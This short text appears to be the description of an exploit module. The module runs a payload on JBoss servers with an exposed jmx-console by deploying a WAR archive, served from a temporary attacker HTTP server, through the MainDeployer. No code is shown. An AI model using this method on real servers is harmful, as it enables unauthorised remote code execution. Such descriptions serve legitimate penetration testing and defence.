					This module can be used to execute a payload on JBoss servers that have
				an exposed "jmx-console" application. The payload is put on the server by
				using the jboss.system:MainDeployer functionality. To accomplish this, a
				temporary HTTP server is created to serve a WAR archive containing our
				payload. This method will only work if the target server allows outbound
				connections to us.
